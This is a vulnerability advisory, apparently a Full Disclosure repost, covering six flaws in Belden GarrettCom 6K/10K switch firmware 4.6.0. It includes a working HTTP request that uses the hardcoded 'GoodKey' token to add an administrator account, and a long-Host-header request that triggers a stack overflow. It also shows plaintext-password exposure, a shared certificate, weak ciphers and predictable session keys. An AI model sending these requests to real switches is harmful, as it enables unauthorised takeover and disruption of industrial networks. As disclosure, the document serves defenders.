Belden Garrettcom 6K/10K Switches: Auth Bypasses, Memory Corruption

Introduction

Vulnerabilities were identified in the Belden GarrettCom 6K and 10KT (Magnum) series network switches. These were discovered during a black box assessment and therefore the vulnerability list should not be considered exhaustive; observations suggest that it is likely that further vulnerabilities exist. It is strongly recommended that GarrettCom undertake a full whitebox security assessment of these switches.

The version under test was indicated as: 4.6.0. Belden Garrettcom released an advisory on 8 May 2017, indicating that issues were fixed in 4.7.7: http://www.belden.com/docs/upload/Belden-GarrettCom-MNS-6K-10K-Security-Bulletin-BSECV-2017-8.pdf

This is a local copy of an advisory posted to the Full Disclosure mailing list.

GarrettCom-01 - Authentication Bypass: Hardcoded Web Interface Session Token

Severity: High

The string “GoodKey” can be used in place of a session token for the web interface, allowing a complete bypass to all web interface authentication. The following request/response demonstrates adding a user ‘gibson’ with the password ‘god’ on any GarrettCom 6K or 10K switch.

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GET /gc/service.php?a=addUser&uid=gibson&pass=god&type=manager&key=GoodKey HTTP/1.1
Host: 192.168.0.2
Connection: close
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.28 Safari/537.36
Accept: */*
Referer: https://192.168.0.2/gc/flash.php
Accept-Encoding: gzip, deflate, sdch, br
Accept-Language: en-US,en;q=0.8


HTTP/1.0 200 OK
Server: GoAhead-Webs
Content-Type: text/html

<?xml version='1.0' encoding='UTF-8'?><data val="users"><changed val="yes" />
<helpfile val="user_accounts.html" />
<user uid="operator" access="Operator" />
<user uid="manager" access="Manager" />
<user uid="gibson" access="Manager" />
</data>

GarrettCom-02 - Secrets Accessible to All Users

Severity: High

Unprivileged but authenticated users (“operator” level access) can view the plaintext passwords of all users configured on the system, allowing them to escalate privileges to “manager” level. While the default “show config” masks the passwords, executing “show config saved” includes the plaintext passwords. The value of the “secrets” setting does not affect this.

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6K>show config group=user saved
...
#User Management#
user
add user=gibson level=2 pass=god
Exit
...

GarrettCom-03 - Stack Based Buffer Overflow in HTTP Server

Severity: High

When rendering the /gc/flash.php page, the server performs URI encoding of the Host header into a fixed-length buffer on the stack. This decoding appears unbounded and can lead to memory corruption, possibly including remote code execution. Sending garbage data appears to hang the webserver thread after responding to the present request. Requests with Host headers longer than 220 characters trigger the observed behavior.

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GET /gc/flash.php HTTP/1.1
Host: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.28 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch, br
Accept-Language: en-US,en;q=0.8

GarrettCom-04 - SSL Keys Shared Across Devices

Severity: Moderate

The SSL certificate on all devices running firmware version 4.6.0 is the same. This issue was previously reported and an advisory released by ICS-CERT. While GarrettCom reported the issue was fixed in 4.5.6, the web server certificate remains static in 4.6.0:

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openssl s_client -connect 192.168.0.5:443 -showcerts
CONNECTED(00000003)
depth=0 C = US, ST = California, L = Fremont, O = Belden, OU = Technical Support, CN = 192.168.1.2, emailAddress = gcisupport@belden.com
verify error:num=18:self signed certificate
verify return:1
depth=0 C = US, ST = California, L = Fremont, O = Belden, OU = Technical Support, CN = 192.168.1.2, emailAddress = gcisupport@belden.com
verify return:1
---
Certificate chain
0 s:/C=US/ST=California/L=Fremont/O=Belden/OU=Technical Support/CN=192.168.1.2/emailAddress=gcisupport@belden.com
i:/C=US/ST=California/L=Fremont/O=Belden/OU=Technical Support/CN=192.168.1.2/emailAddress=gcisupport@belden.com
-----BEGIN CERTIFICATE-----
MIIEtTCCA52gAwIBAgIBADANBgkqhkiG9w0BAQUFADCBnTELMAkGA1UEBhMCVVMx
EzARBgNVBAgTCkNhbGlmb3JuaWExEDAOBgNVBAcTB0ZyZW1vbnQxDzANBgNVBAoT
BkJlbGRlbjEaMBgGA1UECxMRVGVjaG5pY2FsIFN1cHBvcnQxFDASBgNVBAMTCzE5
Mi4xNjguMS4yMSQwIgYJKoZIhvcNAQkBFhVnY2lzdXBwb3J0QGJlbGRlbi5jb20w
HhcNMTUxMDI3MTEyNzQ2WhcNMjUxMDI0MTEyNzQ2WjCBnTELMAkGA1UEBhMCVVMx
EzARBgNVBAgTCkNhbGlmb3JuaWExEDAOBgNVBAcTB0ZyZW1vbnQxDzANBgNVBAoT
BkJlbGRlbjEaMBgGA1UECxMRVGVjaG5pY2FsIFN1cHBvcnQxFDASBgNVBAMTCzE5
Mi4xNjguMS4yMSQwIgYJKoZIhvcNAQkBFhVnY2lzdXBwb3J0QGJlbGRlbi5jb20w
ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDFlt+j4OvpcgfdrFGnBxti
ds6r9sNEcR9JdAFbOmwybQkdqIw9Z9+teU/rixPocEE4gL8beNuw/D3lDc4RJ63m
1zuQ1riFOkTsz7koKQNWTh3CkIBE7843p5I/GVvhfR7xNCCmCWPdq+6/b3nhott5
oBeMLOjIWnjFgyVMsWR22JOYv+euWwr4oqZDLfBHjfipnu36J1E2kHLG3TL9uwyN
DUxtrIbvfi5tOxi8tx1bxZFQU1jxoQa725gO+1TOYzfSoY1a7/M0rMhJM1wFXak6
jbDbJLSv2TXMWrSJlGFUbCcKv3kE22zLcU/wx1Xl4a4NNvFW7Sf5OG2B+bFLr4fD
AgMBAAGjgf0wgfowHQYDVR0OBBYEFLtGmDWgd773vSkKikDFSz8VOZ7DMIHKBgNV
HSMEgcIwgb+AFLtGmDWgd773vSkKikDFSz8VOZ7DoYGjpIGgMIGdMQswCQYDVQQG
EwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEQMA4GA1UEBxMHRnJlbW9udDEPMA0G
A1UEChMGQmVsZGVuMRowGAYDVQQLExFUZWNobmljYWwgU3VwcG9ydDEUMBIGA1UE
AxMLMTkyLjE2OC4xLjIxJDAiBgkqhkiG9w0BCQEWFWdjaXN1cHBvcnRAYmVsZGVu
LmNvbYIBADAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQBAiuv06CMD
ij+9bEZAfmHftptG4UqsNgYIFZ1sN7HC6RBR9xy45fWVcQN3l3KiyddLsftbZSOa
CRPpzqgpF58hGwAa7+yQPOjOWf+uLc9Oyex6P9ewAo6c5iiYI865FSQ+QCY4xbD1
Uk/WFV2LKOzxkXPRcVB4KR81g8tSZF3E8llybhEngg7cvN3uHpO5a5U085xuBbcF
To9PSbGKyJ7UGESBTD6KxLWAxoD6VGRV2CAZa/F9RTbdG1ZbTUMvoEDmYqv7Pjv/
ApZzztLJlCyhVM4N/jh/Q/g1VaQWuzPpza6utjN5soUxeZYJB6KwzGUiLnyTNBJz
L4JtsUO8AcWb
-----END CERTIFICATE-----

Note that Belden Garrettcom has addressed this issue by reinforcing that users of the switches should install their own SSL certificates if they do not want to use the default certificate and key.

GarrettCom-05 - Weak SSL Ciphers Enabled

Severity: Moderate

Many of the SSL ciphers available for the switch are outdated or use insecure ciphers or hashes.  Additionally, no key exchanges with perfect forward secrecy are offered, rendering all previous communications possibly compromised, given the issue reported above.  Particularly of note is the use of 56-bit DES, RC4, and MD5-based MACs.

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ssl3: AES256-SHA
ssl3: CAMELLIA256-SHA
ssl3: DES-CBC3-SHA
ssl3: AES128-SHA
ssl3: SEED-SHA
ssl3: CAMELLIA128-SHA
ssl3: RC4-SHA
ssl3: RC4-MD5
ssl3: DES-CBC-SHA
tls1: AES256-SHA
tls1: CAMELLIA256-SHA
tls1: DES-CBC3-SHA
tls1: AES128-SHA
tls1: SEED-SHA
tls1: CAMELLIA128-SHA
tls1: RC4-SHA
tls1: RC4-MD5
tls1: DES-CBC-SHA
tls1_1: AES256-SHA
tls1_1: CAMELLIA256-SHA
tls1_1: DES-CBC3-SHA
tls1_1: AES128-SHA
tls1_1: SEED-SHA
tls1_1: CAMELLIA128-SHA
tls1_1: RC4-SHA
tls1_1: RC4-MD5
tls1_1: DES-CBC-SHA
tls1_2: AES256-GCM-SHA384
tls1_2: AES256-SHA256
tls1_2: AES256-SHA
tls1_2: CAMELLIA256-SHA
tls1_2: DES-CBC3-SHA
tls1_2: AES128-GCM-SHA256
tls1_2: AES128-SHA256
tls1_2: AES128-SHA
tls1_2: SEED-SHA
tls1_2: CAMELLIA128-SHA
tls1_2: RC4-SHA
tls1_2: RC4-MD5
tls1_2: DES-CBC-SHA

GarrettCom-06 - Weak HTTP session key generation

Severity: Moderate

The HTTP session key generation is predictable due to the lack of randomness in the generation process. The key is generated by hashing the previous hash result with the current time unit with precision around 50 unit per second. The previous hash is replaced with a fixed salt for the first hash generation.

The vulnerability allows an attacker to predict the first key that’s generated by the switch if he has some knowledge about when the key was generated. Alternatively, the vulnerability also enables privilege escalation attacks which predict all future keys by observing two consecutive key generations of lower privileges.

Timeline

Discovery

These issues were discovered by Andrew Griffiths, David Tomaschik, and Xiaoran Wang of the Google Security Assessments Team.